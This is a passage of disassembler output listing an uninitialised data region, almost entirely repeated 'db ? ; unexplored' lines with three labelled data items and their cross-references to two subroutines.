		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807B82C	dd ?			; DATA XREF: sub_805A11C+42o
					; sub_805A11C+D5r ...
unk_807B830	db ? ; unexplored	; DATA XREF: sub_805A11C+47o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807B834	dd ?			; DATA XREF: sub_805A11C+52r
					; sub_805AF5C+51w
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
